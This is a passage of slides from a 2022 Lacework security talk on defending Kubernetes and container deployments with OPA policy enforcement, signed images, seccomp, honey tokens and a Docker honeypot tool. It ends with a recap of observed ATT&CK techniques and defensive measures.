  • 22. © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Securing Kubernetes Deployments ● Prevent accidental exposure of management dashboards! ○ Including 3rd party integrations (Argo/Gitlab/etc…) ● Open Policy Agent (OPA) Enforcement! ○ Admission controller to prevent privileged pods or unnecessary capabilities being paired with deployments in given namespaces. ○ Ex: prevent CAP_SYS_ADMIN from being set on a deployment. ● Deploy Signed Containers ○ GCP’s GKE - Binary Authorization ■ Ensure deployed workloads have been signed. ○ AWS EKS Image signing is on their road map according to documentation ■ https://aws.github.io/aws-eks-best-practices/security/docs/image/ 22
  • 23. © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Exploring Runtime Protection Options ● Profile and limit syscalls you application makes! ○ Runtime syscall allow-listing via seccomp ● Can be tricky to tune, but greatly reduces surface in the event of an application compromise. Reference: https://www.lacework.com/blog/sand-honey-building-honeypots/ 23
  • 24. © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs & Limiting exposed container APIs Honey Tokens in Cloud Native Environments ● What about non-opportunistic attackers? ○ Targeting resource specific services ○ Ex: Managed DBs, Container Registries, etc… ● Proactive Defenses via “honey tokens” around specific cloud native resources ○ Ex: Container Registry with beta-database-secrets- test Reference: https://www.lacework.com/blog/diy-canary-tokens-in-aws 24
  • 25. Docker Honeypot - Whalehoney https://www.github.com/lacework-dev/whalehoney-PUBLIC Tool Release! Whalehoney, simple API emulation
  • 26. © 2022, Lacework Inc. All Rights Reserved. 26 Recap Observed ATT&CKs T1610/T1611 - Deploy containers and escape to host. T1059.004 - Post-compromise payloads (Shell Script) T1562.001 - Impairing Defenses T1098.004 - Deploying ssh keys for persistence T1574.006/T10014 - LD_Preload/KOs for hijacking execution flow Defending In the Cloud Limit attack surface exposure (ingress/egress ACLs) Enforce signed container image deployments Implement Security Policies to API call Possibilities OPA for security policy enforcement of Kubernetes Proactive Defense via Honey Tokens
  • 27. Thank you. IF YOU HAVE QUESTIONS, PLEASE GET IN TOUCH WITH [email protected] © 2022, Lacework Inc. All Rights Reserved.